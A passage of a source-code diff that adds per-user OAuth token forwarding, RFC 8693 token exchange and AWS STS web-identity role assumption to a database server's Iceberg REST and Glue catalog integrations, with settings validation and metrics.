UNIQUE KEY index cache in bytes") \ M(UniqueKeyIndexCacheEntries, "Total number of UNIQUE KEY index blocks cached") \ M(DeleteBitmapCacheBytes, "Total size of the UNIQUE KEY delete-bitmap cache in bytes") \ diff --git a/src/Common/ErrorCodes.cpp b/src/Common/ErrorCodes.cpp index cfdc94b31795..301aee43b948 100644 --- a/src/Common/ErrorCodes.cpp +++ b/src/Common/ErrorCodes.cpp @@ -659,6 +659,7 @@ M(777, MEMORY_RESERVATION_KILLED) \ M(778, MEMORY_RESERVATION_FAILED) \ M(779, CATALOG_NAMESPACE_DISABLED) \ + M(780, CATALOG_USER_TOKEN_NOT_AVAILABLE) \ \ M(900, DISTRIBUTED_CACHE_ERROR) \ M(901, CANNOT_USE_DISTRIBUTED_CACHE) \ diff --git a/src/Common/FormUrlEncode.cpp b/src/Common/FormUrlEncode.cpp new file mode 100644 index 000000000000..419337cc42bb --- /dev/null +++ b/src/Common/FormUrlEncode.cpp @@ -0,0 +1,15 @@ +#include + +#include + +namespace DB +{ + +std::string formUrlEncode(const std::string & value) +{ + std::string encoded; + Poco::URI::encode(value, "!$&'()*+,;=:@/?", encoded); + return encoded; +} + +} diff --git a/src/Common/FormUrlEncode.h b/src/Common/FormUrlEncode.h new file mode 100644 index 000000000000..28bb03618e10 --- /dev/null +++ b/src/Common/FormUrlEncode.h @@ -0,0 +1,13 @@ +#pragma once + +#include + +namespace DB +{ + +/// Percent-encodes one `application/x-www-form-urlencoded` value. `Poco::URI::encode` takes the +/// set of reserved characters as its second argument and leaves the sub-delimiters alone when that +/// set is empty, so `&`, `=` or `+` inside a value would otherwise break the form. +std::string formUrlEncode(const std::string & value); + +} diff --git a/src/Common/ProfileEvents.cpp b/src/Common/ProfileEvents.cpp index 184d4941aa3c..41a8ece20f1f 100644 --- a/src/Common/ProfileEvents.cpp +++ b/src/Common/ProfileEvents.cpp @@ -1734,6 +1734,10 @@ The server successfully detected this situation and will download merged part fr M(ObjectStorageListObjectsCachePrefixMatchHits, "Number of times object storage list objects operation miss the cache using prefix matching.", ValueType::Number) \ M(DataLakeRestCatalogCredentialsVended, "Number of table metadata requests to REST catalog asking to vend storage credentials.", ValueType::Number) \ M(DataLakeRestCatalogCredentialsCacheHits, "Number of table metadata requests to REST catalog reusing cached storage credentials.", ValueType::Number) \ + M(DataLakeRestCatalogTokenExchange, "Number of RFC 8693 token exchanges performed to obtain a session token for the querying user.", ValueType::Number) \ + M(DataLakeRestCatalogTokenExchangeMicroseconds, "Total time of RFC 8693 token exchanges.", ValueType::Microseconds) \ + M(DataLakeRestCatalogTokenExchangeFailures, "Number of RFC 8693 token exchanges that failed.", ValueType::Number) \ + M(DataLakeRestCatalogUserTokenCacheHits, "Number of times a previously exchanged per-user session token was reused.", ValueType::Number) \ \ M(DataLakeRestCatalogLoadConfig, "Number of 'load config' requests to Iceberg REST catalog.", ValueType::Number) \ M(DataLakeRestCatalogLoadConfigMicroseconds, "Total time of 'load config' requests to Iceberg REST catalog.", ValueType::Microseconds) \ @@ -1772,6 +1776,11 @@ The server successfully detected this situation and will download merged part fr M(DataLakeGlueCatalogUpdateTableMicroseconds, "Total time of 'update table' requests to Iceberg Glue catalog.", ValueType::Microseconds) \ M(DataLakeGlueCatalogDropTable, "Number of 'drop table' requests to Iceberg Glue catalog.", ValueType::Number) \ M(DataLakeGlueCatalogDropTableMicroseconds, "Total time of 'drop table' requests to Iceberg Glue catalog.", ValueType::Microseconds) \ + M(DataLakeGlueCatalogAssumeRoleWithWebIdentity, "Number of AWS STS `AssumeRoleWithWebIdentity` calls made to turn a forwarded user token into credentials for the Glue catalog.", ValueType::Number) \ + M(DataLakeGlueCatalogAssumeRoleWithWebIdentityMicroseconds, "Total time of AWS STS `AssumeRoleWithWebIdentity` calls made for forwarded user tokens.", ValueType::Microseconds) \ + M(DataLakeGlueCatalogAssumeRoleWithWebIdentityFailures, "Number of AWS STS `AssumeRoleWithWebIdentity` calls that returned no credentials.", ValueType::Number) \ + M(DataLakeGlueCatalogUserClientCacheHits, "Number of times a Glue client built for a forwarded user token was reused.", ValueType::Number) \ + M(DataLakeGlueCatalogServiceIdentityRequests, "Number of Glue requests served by the identity configured on the database rather than by the querying user. Must stay at zero while `oauth_forward_user_token` is enabled: a non-zero value means a request fell back to the shared identity.", ValueType::Number) \ \ M(DataLakeUnityCatalogGetTables, "Number of 'get tables' requests to Iceberg Unity catalog.", ValueType::Number) \ M(DataLakeUnityCatalogGetTablesMicroseconds, "Total time of 'get tables' requests to Iceberg Unity catalog.", ValueType::Microseconds) \ diff --git a/src/Core/ServerSettings.cpp b/src/Core/ServerSettings.cpp index 6ed2b20957d1..b71ca6764e0e 100644 --- a/src/Core/ServerSettings.cpp +++ b/src/Core/ServerSettings.cpp @@ -890,6 +890,22 @@ namespace Default value: `true` (token authentication is enabled). )", 0) \ + DECLARE(Bool, enable_token_forwarding, false, R"( + Controls whether the bearer token a user authenticated with is retained for the lifetime of + their session so that it can be forwarded to external services on their behalf -- currently + an Iceberg REST catalog, and AWS STS on the way to a Glue catalog, via the + `oauth_forward_user_token` database setting. + + When disabled (the default) the token is destroyed right after authentication, exactly as + before, and no database can forward it. + + Enabling this is a privileged decision: the token is sent to a URL that whoever ran + `CREATE DATABASE ... ENGINE = DataLakeCatalog()` chose, so `CREATE DATABASE` becomes an + operation that can harvest the bearer tokens of every user who queries that database. Grant + it accordingly, and keep `remote_url_allow_hosts` restrictive. + + Default value: `false` (the token is not retained). + )", 0) \ DECLARE(UInt64, concurrent_threads_soft_limit_num, 0, R"( The maximum number of query processing threads, excluding threads for retrieving data from remote servers, allowed to run all queries. This is not a hard limit. In case if the limit is reached the query will still get at least one thread to run. Query can upscale to desired number of threads during execution if more threads become available. diff --git a/src/Databases/DataLake/Common.cpp b/src/Databases/DataLake/Common.cpp index 8946d3412d70..1e4c014ca01e 100644 --- a/src/Databases/DataLake/Common.cpp +++ b/src/Databases/DataLake/Common.cpp @@ -1,5 +1,7 @@ #include +#include + #include #include #include @@ -110,6 +112,13 @@ DB::DataTypePtr getType(const String & type_name, bool nullable, DB::ContextPtr : DB::Iceberg::IcebergSchemaProcessor::getSimpleType(name, context); } +DB::ForwardedAuthTokenPtr getForwardedAuthToken(const DB::ContextPtr & context) +{ + if (!context) + return {}; + return context->getForwardedAuthToken(); +} + std::pair parseTableName(const std::string & name) { auto pos = name.rfind('.'); diff --git a/src/Databases/DataLake/Common.h b/src/Databases/DataLake/Common.h index 9b0dd7c626a6..cebafe41117b 100644 --- a/src/Databases/DataLake/Common.h +++ b/src/Databases/DataLake/Common.h @@ -1,5 +1,6 @@ #pragma once +#include #include #include #include @@ -19,4 +20,7 @@ DB::DataTypePtr getType(const String & type_name, bool nullable, DB::ContextPtr /// `E` is a table name. std::pair parseTableName(const std::string & name); +/// The token carried by a query context, or `{}` when there is none (or no context at all). +DB::ForwardedAuthTokenPtr getForwardedAuthToken(const DB::ContextPtr & context); + } diff --git a/src/Databases/DataLake/DataLakeConstants.h b/src/Databases/DataLake/DataLakeConstants.h index d404e3a4eb65..bfd22706ff09 100644 --- a/src/Databases/DataLake/DataLakeConstants.h +++ b/src/Databases/DataLake/DataLakeConstants.h @@ -38,5 +38,7 @@ static inline std::unordered_map SETTINGS_TO_HIDE = /// DLF credentials {"dlf_access_key_id", DEFAULT_MASKING_RULE}, {"dlf_access_key_secret", DEFAULT_MASKING_RULE}, + /// NOTE: the `oauth_forward_user_token` family carries no secret and is left visible on + /// purpose. Any future setting that holds a static token must be added here. }; } diff --git a/src/Databases/DataLake/DatabaseDataLake.cpp b/src/Databases/DataLake/DatabaseDataLake.cpp index 6f2a608398f6..f5343aeb179d 100644 --- a/src/Databases/DataLake/DatabaseDataLake.cpp +++ b/src/Databases/DataLake/DatabaseDataLake.cpp @@ -67,6 +67,12 @@ namespace DatabaseDataLakeSetting extern const DatabaseDataLakeSettingsS3UriStyle storage_uri_style; extern const DatabaseDataLakeSettingsString oauth_server_uri; extern const DatabaseDataLakeSettingsBool oauth_server_use_request_body; + extern const DatabaseDataLakeSettingsBool oauth_forward_user_token; + extern const DatabaseDataLakeSettingsString oauth_token_exchange_uri; + extern const DatabaseDataLakeSettingsString oauth_subject_token_type; + extern const DatabaseDataLakeSettingsString oauth_requested_token_type; + extern const DatabaseDataLakeSettingsBool oauth_forward_actor_token; + extern const DatabaseDataLakeSettingsUInt64 oauth_user_token_cache_ttl; extern const DatabaseDataLakeSettingsBool vended_credentials; extern const DatabaseDataLakeSettingsUInt64 vended_credentials_cache_ttl; extern const DatabaseDataLakeSettingsString object_storage_cluster; @@ -191,6 +197,103 @@ void DatabaseDataLake::validateSettings() ErrorCodes::BAD_ARGUMENTS, "`warehouse` setting cannot be empty. " "Please specify 'SETTINGS warehouse=' in the CREATE DATABASE query"); } + + validateTokenForwardingSettings(); +} + +void DatabaseDataLake::validateTokenForwardingSettings() const +{ + const auto settings_version = database_settings.get(); + const DatabaseDataLakeSettings & settings = *settings_version; + + if (!settings[DatabaseDataLakeSetting::oauth_forward_user_token].value) + return; + + const auto catalog_type = settings[DatabaseDataLakeSetting::catalog_type].value; + + /// On the setting rather than on `ICatalog::supportsUserTokenForwarding`, because validation + /// runs before the catalog object exists. + if (catalog_type != DB::DatabaseDataLakeCatalogType::ICEBERG_REST && catalog_type != DB::DatabaseDataLakeCatalogType::GLUE) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`oauth_forward_user_token` is only supported for `catalog_type = 'rest'` and " + "`catalog_type = 'glue'`; no other catalog type can authenticate as the querying user"); + + if (catalog_type == DB::DatabaseDataLakeCatalogType::GLUE) + { + validateGlueTokenForwardingSettings(settings); + return; + } + + /// `auth_header` short-circuits `getAuthHeaders`, so the two together would send the static + /// header and never the user's token. + if (!settings[DatabaseDataLakeSetting::auth_header].value.empty()) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`oauth_forward_user_token` cannot be combined with `auth_header`: a static " + "authorization header takes precedence and would silently defeat forwarding"); + + const auto & exchange_uri = settings[DatabaseDataLakeSetting::oauth_token_exchange_uri].value; + if (!exchange_uri.empty() && settings[DatabaseDataLakeSetting::catalog_credential].value.empty()) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`oauth_token_exchange_uri` requires a non-empty `catalog_credential`: the token " + "exchange request has to authenticate itself with client credentials. Passthrough " + "(the default, with `oauth_token_exchange_uri` unset) needs none"); + + /// The six token types defined by RFC 8693 and reused by the Iceberg REST `TokenType` schema. + static const std::array valid_token_types = { + "urn:ietf:params:oauth:token-type:access_token", + "urn:ietf:params:oauth:token-type:refresh_token", + "urn:ietf:params:oauth:token-type:id_token", + "urn:ietf:params:oauth:token-type:saml1", + "urn:ietf:params:oauth:token-type:saml2", + "urn:ietf:params:oauth:token-type:jwt", + }; + auto check_token_type = [&](std::string_view setting_name, const std::string & value, bool empty_allowed) + { + if (value.empty() && empty_allowed) + return; + if (std::find(valid_token_types.begin(), valid_token_types.end(), value) == valid_token_types.end()) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`{}` must be one of the token type URNs defined by RFC 8693, got `{}`", + setting_name, value); + }; + check_token_type( + "oauth_subject_token_type", + settings[DatabaseDataLakeSetting::oauth_subject_token_type].value, + /* empty_allowed */ false); + check_token_type( + "oauth_requested_token_type", + settings[DatabaseDataLakeSetting::oauth_requested_token_type].value, + /* empty_allowed */ true); +} + +void DatabaseDataLake::validateGlueTokenForwardingSettings(const DatabaseDataLakeSettings & settings) +{ + if (settings[DatabaseDataLakeSetting::aws_role_arn].value.empty()) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`oauth_forward_user_token` requires a non-empty `aws_role_arn` for a Glue catalog: " + "the querying user's token is exchanged for credentials of that role with AWS STS " + "`AssumeRoleWithWebIdentity`"); + + if (!settings[DatabaseDataLakeSetting::aws_access_key_id].value.empty() + || !settings[DatabaseDataLakeSetting::aws_secret_access_key].value.empty()) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`oauth_forward_user_token` cannot be combined with `aws_access_key_id` / " + "`aws_secret_access_key` for a Glue catalog: static keys are a second identity and " + "would be used instead of the one assumed for the querying user"); + + /// The other RFC 8693 settings are already rejected by the rule that they have no effect + /// without `oauth_token_exchange_uri`. + if (!settings[DatabaseDataLakeSetting::oauth_token_exchange_uri].value.empty()) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`oauth_token_exchange_uri` is only supported for `catalog_type = 'rest'`: a Glue " + "catalog exchanges the user's token at AWS STS, not at an OAuth token endpoint"); } void DatabaseDataLake::initialize() const @@ -212,6 +315,7 @@ void DatabaseDataLake::initialize() const .aws_role_arn = settings[DatabaseDataLakeSetting::aws_role_arn].value, .aws_role_session_name = settings[DatabaseDataLakeSetting::aws_role_session_name].value, .aws_external_id = settings[DatabaseDataLakeSetting::aws_external_id].value, + .forward_user_token = settings[DatabaseDataLakeSetting::oauth_forward_user_token].value, }; switch (settings[DatabaseDataLakeSetting::catalog_type].value) @@ -227,7 +331,15 @@ void DatabaseDataLake::initialize() const settings[DatabaseDataLakeSetting::oauth_server_uri].value, settings[DatabaseDataLakeSetting::oauth_server_use_request_body].value, settings[DatabaseDataLakeSetting::namespaces].value, - Context::getGlobalContextInstance()); + Context::getGlobalContextInstance(), + DataLake::TokenForwardingConfig{ + .forward_user_token = settings[DatabaseDataLakeSetting::oauth_forward_user_token].value, + .token_exchange_uri = settings[DatabaseDataLakeSetting::oauth_token_exchange_uri].value, + .subject_token_type = settings[DatabaseDataLakeSetting::oauth_subject_token_type].value, + .requested_token_type = settings[DatabaseDataLakeSetting::oauth_requested_token_type].value, + .forward_actor_token = settings[DatabaseDataLakeSetting::oauth_forward_actor_token].value, + .user_token_cache_ttl = settings[DatabaseDataLakeSetting::oauth_user_token_cache_ttl].value, + }); break; } case DB::DatabaseDataLakeCatalogType::ICEBERG_ONELAKE: @@ -577,13 +689,15 @@ std::string DatabaseDataLake::getStorageEndpointForTable(const DataLake::TableMe bool DatabaseDataLake::empty() const { - return getCatalog()->empty(); + /// `IDatabase::empty()` has no context to take a token from, so with forwarding enabled it + /// fails closed. + return getCatalog()->empty(/* auth_token */ {}); } -bool DatabaseDataLake::isTableExist(const String & name, ContextPtr /* context_ */) const +bool DatabaseDataLake::isTableExist(const String & name, ContextPtr context_) const { const auto [namespace_name, table_name] = DataLake::parseTableName(name); - return getCatalog()->existsTable(namespace_name, table_name); + return getCatalog()->existsTable(namespace_name, table_name, DataLake::getForwardedAuthToken(context_)); } StoragePtr DatabaseDataLake::tryGetTable(const String & name, ContextPtr context_) const @@ -781,7 +895,11 @@ StoragePtr DatabaseDataLake::tryGetTableImpl(const String & name, ContextPtr con auto storage_cluster = std::make_shared( cluster_name, configuration, - configuration->createObjectStorage(context_copy, /* is_readonly */ false, catalog->getCredentialsConfigurationCallback(StorageID(getDatabaseName(), name, table_uuid))), + configuration->createObjectStorage( + context_copy, + /* is_readonly */ false, + catalog->getCredentialsConfigurationCallback( + StorageID(getDatabaseName(), name, table_uuid), DataLake::getForwardedAuthToken(context_))), StorageID(getDatabaseName(), name, table_uuid), /* columns */columns, /* constraints */ConstraintsDescription{}, @@ -835,7 +953,7 @@ DatabaseTablesIteratorPtr DatabaseDataLake::getTablesIterator( throw Exception(ErrorCodes::DATALAKE_DATABASE_ERROR, "Injected catalog listing failure"); }); - iceberg_tables = getCatalog()->getTables(); + iceberg_tables = getCatalog()->getTables(DataLake::getForwardedAuthToken(context_)); } catch (...) { @@ -936,7 +1054,7 @@ std::vector DatabaseDataLake::getLightweightTablesItera throw Exception(ErrorCodes::DATALAKE_DATABASE_ERROR, "Injected catalog listing failure"); }); - iceberg_tables = getCatalog()->getTables(); + iceberg_tables = getCatalog()->getTables(DataLake::getForwardedAuthToken(context_)); } catch (...) { @@ -955,7 +1073,7 @@ std::vector DatabaseDataLake::getLightweightTablesItera return result; } -Strings DatabaseDataLake::getAllTableNames(ContextPtr /*context*/) const +Strings DatabaseDataLake::getAllTableNames(ContextPtr context_) const { Strings result; @@ -964,7 +1082,7 @@ Strings DatabaseDataLake::getAllTableNames(ContextPtr /*context*/) const /// must not fail even when the catalog is temporarily unreachable. try { - result = getCatalog()->getTables(); + result = getCatalog()->getTables(DataLake::getForwardedAuthToken(context_)); } catch (...) { @@ -983,18 +1101,18 @@ ASTPtr DatabaseDataLake::getCreateDatabaseQueryImpl() const return create_query; } -void DatabaseDataLake::checkDatabase() const +void DatabaseDataLake::checkDatabase(ContextPtr context_) const { auto catalog = getCatalog(); /// This function checks if we can access catalog and get tables list. /// We do not check if there are tables in catalog, because even if catalog is empty, it still can be valid and working. - std::ignore = catalog->empty(); + std::ignore = catalog->empty(DataLake::getForwardedAuthToken(context_)); LOG_TEST(log, "Database '{}' is OK", getDatabaseName()); } -void DatabaseDataLake::applySettingsChanges(const SettingsChanges & settings_changes, ContextPtr /*query_context*/) +void DatabaseDataLake::applySettingsChanges(const SettingsChanges & settings_changes, ContextPtr query_context) { const auto current_settings = database_settings.get(); @@ -1043,7 +1161,7 @@ void DatabaseDataLake::applySettingsChanges(const SettingsChanges & settings_cha /// fetch and the config reload may throw, and then nothing has changed yet. DataLake::ICatalog::PreparedSettingsChangesPtr prepared_catalog_changes; if (local_catalog_snapshot) - prepared_catalog_changes = local_catalog_snapshot->prepareSettingsChanges(settings_changes); + prepared_catalog_changes = local_catalog_snapshot->prepareSettingsChanges(settings_changes, DataLake::getForwardedAuthToken(query_context)); /// Persist the new metadata before publishing anything: if the write fails, the live /// state is untouched and matches the old metadata on disk. The create query is built @@ -1179,6 +1297,49 @@ void registerDatabaseDataLake(DatabaseFactory & factory) } } + /// CREATE-only, so that a database persisted by an older version can never be blocked from + /// attaching at startup. Rejects configuration that reads as if forwarding or an exchange + /// were happening when it is not. + if (!args.create_query.attach) + { + const bool forwarding = database_settings[DatabaseDataLakeSetting::oauth_forward_user_token].value; + static constexpr std::array exchange_only_settings = { + "oauth_token_exchange_uri", + "oauth_subject_token_type", + "oauth_requested_token_type", + "oauth_forward_actor_token", + "oauth_user_token_cache_ttl", + }; + + const SettingsChanges changed = database_settings.allChanged(); + auto is_changed = [&](std::string_view name) + { + return std::any_of(changed.begin(), changed.end(), [&](const auto & change) { return std::string_view(change.name) == name; }); + }; + + if (!forwarding) + { + for (const auto & name : exchange_only_settings) + if (is_changed(name)) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`{}` has no effect without `oauth_forward_user_token = 1`", name); + } + else if (database_settings[DatabaseDataLakeSetting::oauth_token_exchange_uri].value.empty()) + { + for (const auto & name : exchange_only_settings) + { + if (name == "oauth_token_exchange_uri") + continue; + if (is_changed(name)) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`{}` has no effect without `oauth_token_exchange_uri`: without it the " + "user's token is forwarded unchanged and no token exchange happens", name); + } + } + } + auto catalog_type = database_settings[DB::DatabaseDataLakeSetting::catalog_type].value; /// Glue catalog is one per region, so it's fully identified by aws keys and region /// There is no URL you need to provide in constructor, even if we would want it diff --git a/src/Databases/DataLake/DatabaseDataLake.h b/src/Databases/DataLake/DatabaseDataLake.h index fc67aad2b133..c6d3f87aae59 100644 --- a/src/Databases/DataLake/DatabaseDataLake.h +++ b/src/Databases/DataLake/DatabaseDataLake.h @@ -3,6 +3,7 @@ #if USE_AVRO && USE_PARQUET +#include #include #include #include @@ -51,7 +52,7 @@ class DatabaseDataLake final : public IDatabase, WithContext Strings getAllTableNames(ContextPtr context) const override; - void checkDatabase() const override; + void checkDatabase(ContextPtr context) const override; void shutdown() override {} @@ -92,6 +93,12 @@ class DatabaseDataLake final : public IDatabase, WithContext void validateSettings(); + /// Rejects `oauth_forward_user_token` combinations that could not be honoured, or that would + /// be ignored. Runs on CREATE and on ATTACH. + void validateTokenForwardingSettings() const; + + static void validateGlueTokenForwardingSettings(const DatabaseDataLakeSettings & settings); + /// Builds `catalog_impl` based on the configured catalog type. Constructing a catalog can /// validate credentials and perform network I/O (e.g. RestCatalog reads the catalog config), /// so on ATTACH (server startup) it is deferred to the first access via `getCatalog` instead diff --git a/src/Databases/DataLake/DatabaseDataLakeSettings.cpp b/src/Databases/DataLake/DatabaseDataLakeSettings.cpp index b4cf78f25a33..94c3c98d425f 100644 --- a/src/Databases/DataLake/DatabaseDataLakeSettings.cpp +++ b/src/Databases/DataLake/DatabaseDataLakeSettings.cpp @@ -25,6 +25,12 @@ namespace ErrorCodes DECLARE(String, auth_scope, "PRINCIPAL_ROLE:ALL", "Authorization scope for client credentials or token exchange", 0) \ DECLARE(String, oauth_server_uri, "", "OAuth server uri", 0) \ DECLARE(Bool, oauth_server_use_request_body, true, "Put parameters into request body or query params", 0) \ + DECLARE(Bool, oauth_forward_user_token, false, "Authenticate to the catalog as the user running the query instead of as the shared identity configured on the database. For an Iceberg REST catalog this forwards the user's own bearer token unchanged (passthrough), or exchanges it first when `oauth_token_exchange_uri` is set. For a Glue catalog, which speaks AWS SigV4 rather than bearer tokens, the token is exchanged for temporary AWS credentials with `AssumeRoleWithWebIdentity` against `aws_role_arn`. Requires the server-level `enable_token_forwarding` setting", 0) \ + DECLARE(String, oauth_token_exchange_uri, "", "Empty means passthrough: the user's token is presented to the catalog as-is. Non-empty switches to an RFC 8693 token exchange against this URL - point it at the IdP's token endpoint to obtain a token whose audience the catalog accepts, or at a catalog's `/v1/oauth/tokens` (which the Iceberg REST spec deprecates for removal). Requires `oauth_forward_user_token` and a non-empty `catalog_credential`", 0) \ + DECLARE(String, oauth_subject_token_type, "urn:ietf:params:oauth:token-type:access_token", "RFC 8693 `subject_token_type` of the forwarded user token. Used only when `oauth_token_exchange_uri` is set", 0) \ + DECLARE(String, oauth_requested_token_type, "urn:ietf:params:oauth:token-type:access_token", "RFC 8693 `requested_token_type`; empty omits the field. Used only when `oauth_token_exchange_uri` is set", 0) \ + DECLARE(Bool, oauth_forward_actor_token, false, "Send the catalog service principal's own token as the RFC 8693 `actor_token`, giving delegation semantics (`sub=user, act=clickhouse`). Only meaningful against a server that can validate it - an IdP cannot. Used only when `oauth_token_exchange_uri` is set", 0) \ + DECLARE(UInt64, oauth_user_token_cache_ttl, 300, "Maximum lifetime (in seconds) of a cached per-user session token obtained by token exchange; '0' disables caching. Used only when `oauth_token_exchange_uri` is set", 0) \ DECLARE(String, warehouse, "", "Warehouse name inside the catalog", 0) \ DECLARE(String, auth_header, "", "Authorization header of format 'Authorization: '", 0) \ DECLARE(String, aws_access_key_id, "", "Key for AWS connection for Glue catalog", 0) \ diff --git a/src/Databases/DataLake/GlueCatalog.cpp b/src/Databases/DataLake/GlueCatalog.cpp index 41c343bc4842..b29e93a6b427 100644 --- a/src/Databases/DataLake/GlueCatalog.cpp +++ b/src/Databases/DataLake/GlueCatalog.cpp @@ -62,6 +62,7 @@ namespace DB::ErrorCodes extern const int DATALAKE_DATABASE_ERROR; extern const int FAULT_INJECTED; extern const int CATALOG_NAMESPACE_DISABLED; + extern const int CATALOG_USER_TOKEN_NOT_AVAILABLE; } namespace DB::FailPoints @@ -103,12 +104,19 @@ namespace ProfileEvents extern const Event DataLakeGlueCatalogUpdateTableMicroseconds; extern const Event DataLakeGlueCatalogDropTable; extern const Event DataLakeGlueCatalogDropTableMicroseconds; + extern const Event DataLakeGlueCatalogUserClientCacheHits; + extern const Event DataLakeGlueCatalogServiceIdentityRequests; + extern const Event DataLakeGlueCatalogAssumeRoleWithWebIdentity; + extern const Event DataLakeGlueCatalogAssumeRoleWithWebIdentityMicroseconds; + extern const Event DataLakeGlueCatalogAssumeRoleWithWebIdentityFailures; } namespace CurrentMetrics { extern const Metric MarkCacheBytes; extern const Metric MarkCacheFiles; + extern const Metric DataLakeCatalogUserClientCacheBytes; + extern const Metric DataLakeCatalogUserClientCacheEntries; } namespace @@ -195,6 +203,30 @@ Poco::JSON::Object::Ptr getCurrentSchemaFromMetadata(const Poco::JSON::Object::P namespace DataLake { +namespace +{ + +/// STS accepts `[\w+=,.@-]{2,64}` for `RoleSessionName`. +std::string makeRoleSessionName(const std::string & principal) +{ + std::string result; + result.reserve(std::min(principal.size(), 64)); + for (char c : principal) + { + if (result.size() == 64) + break; + if (isalnum(static_cast(c)) || c == '_' || c == '+' || c == '=' || c == ',' || c == '.' || c == '@' || c == '-') + result += c; + } + + if (result.size() < 2) + return "ClickHouseUser"; + + return result; +} + +} + GlueCatalog::GlueCatalog( const String & endpoint, DB::ContextPtr context_, @@ -202,6 +234,10 @@ GlueCatalog::GlueCatalog( DB::ASTPtr table_engine_definition_) : ICatalog("") , DB::WithContext(context_) + , user_clients( + CurrentMetrics::DataLakeCatalogUserClientCacheBytes, + CurrentMetrics::DataLakeCatalogUserClientCacheEntries, + user_client_cache_max_entries) , log(getLogger("GlueCatalog(" + settings_.region + ")")) , region(settings_.region) , settings(settings_) @@ -249,14 +285,12 @@ GlueCatalog::GlueCatalog( client_configuration.connectTimeoutMs = static_cast(global_settings[DB::Setting::s3_connect_timeout_ms]); client_configuration.requestTimeoutMs = static_cast(global_settings[DB::Setting::s3_request_timeout_ms]); client_configuration.region = region; - auto endpoint_provider = std::make_shared(); Aws::Auth::AWSCredentials credentials(settings_.aws_access_key_id, settings_.aws_secret_access_key); /// Only for testing when we are mocking glue if (!endpoint.empty()) { client_configuration.endpointOverride = endpoint; - endpoint_provider->OverrideEndpoint(endpoint); if (credentials.IsEmpty()) { @@ -276,13 +310,89 @@ GlueCatalog::GlueCatalog( } boost::split(allowed_namespaces, settings.namespaces, boost::is_any_of(", "), boost::token_compress_on); - credentials_provider = DB::S3::getCredentialsProvider(poco_config, credentials, creds_config); - glue_client = std::make_unique(credentials_provider, endpoint_provider, client_configuration); + + /// One endpoint provider per client: `GlueClient` takes ownership of the resolver state. + auto build_glue_client = [client_configuration, endpoint](const std::shared_ptr & provider) + { + auto client_endpoint_provider = std::make_shared(); + if (!endpoint.empty()) + client_endpoint_provider->OverrideEndpoint(endpoint); + return std::make_shared(provider, client_endpoint_provider, client_configuration); + }; + + if (settings.forward_user_token) + { + make_user_client = [build_glue_client, + poco_config, + role_arn = settings.aws_role_arn, + expiration_window_seconds = creds_config.expiration_window_seconds, + logger = log](const DB::ForwardedAuthToken & auth_token) + { + auto sts_client = std::make_shared( + std::make_shared(), poco_config); + + auto provider = std::make_shared( + role_arn, + makeRoleSessionName(auth_token.principal), + auth_token.token, + expiration_window_seconds, + std::move(sts_client)); + + bool assumed = false; + { + ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogAssumeRoleWithWebIdentity); + auto timer = DB::CurrentThread::getProfileEvents().timer( + ProfileEvents::DataLakeGlueCatalogAssumeRoleWithWebIdentityMicroseconds); + assumed = !provider->GetAWSCredentials().IsEmpty(); + } + + if (!assumed) + { + ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogAssumeRoleWithWebIdentityFailures); + throw DB::Exception( + DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE, + "Could not assume role `{}` with the token of user `{}`: {}. Check that the " + "role trusts the identity provider that issued the token and that its trust " + "policy accepts this token's `sub` and `aud` claims", + role_arn, + auth_token.principal, + provider->getLastError()); + } + + LOG_DEBUG(logger, "Assumed role {} as user {}", role_arn, auth_token.principal); + return AuthenticatedClient{build_glue_client(provider), provider}; + }; + } + else + { + auto service_credentials_provider = DB::S3::getCredentialsProvider(poco_config, credentials, creds_config); + service_client = AuthenticatedClient{build_glue_client(service_credentials_provider), service_credentials_provider}; + } +} + +GlueCatalog::AuthenticatedClient GlueCatalog::getClient(const DB::ForwardedAuthTokenPtr & auth_token) const +{ + if (!make_user_client) + { + ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogServiceIdentityRequests); + return service_client; + } + + validateForwardedToken(getContext(), auth_token, fmt::format("Glue({})", region)); + + auto [client, outcome] = user_clients.getOrSetWithOutcome( + auth_token->fingerprint, + [&] { return std::make_shared(make_user_client(*auth_token)); }); + + if (outcome == DB::CacheGetOrSetOutcome::Hit) + ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogUserClientCacheHits); + + return *client; } GlueCatalog::~GlueCatalog() = default; -DataLake::ICatalog::Namespaces GlueCatalog::getDatabases(const std::string & prefix, size_t limit) const +DataLake::ICatalog::Namespaces GlueCatalog::getDatabases(const AuthenticatedClient & client, const std::string & prefix, size_t limit) const { DataLake::ICatalog::Namespaces result; Aws::Glue::Model::GetDatabasesRequest request; @@ -299,7 +409,7 @@ DataLake::ICatalog::Namespaces GlueCatalog::getDatabases(const std::string & pre { ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogGetDatabases); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeGlueCatalogGetDatabasesMicroseconds); - outcome = glue_client->GetDatabases(request); + outcome = client.client->GetDatabases(request); } if (outcome.IsSuccess()) @@ -333,7 +443,7 @@ DataLake::ICatalog::Namespaces GlueCatalog::getDatabases(const std::string & pre return result; } -DB::Names GlueCatalog::getTablesForDatabase(const std::string & db_name, size_t limit) const +DB::Names GlueCatalog::getTablesForDatabase(const AuthenticatedClient & client, const std::string & db_name, size_t limit) const { LOG_TEST(log, "Getting tables for database '{}' with limit {}", db_name, limit); DB::Names result; @@ -355,7 +465,7 @@ DB::Names GlueCatalog::getTablesForDatabase(const std::string & db_name, size_t { ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogGetTables); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeGlueCatalogGetTablesMicroseconds); - outcome = glue_client->GetTables(request); + outcome = client.client->GetTables(request); } if (outcome.IsSuccess()) { @@ -388,20 +498,23 @@ DB::Names GlueCatalog::getTablesForDatabase(const std::string & db_name, size_t return result; } -DB::Names 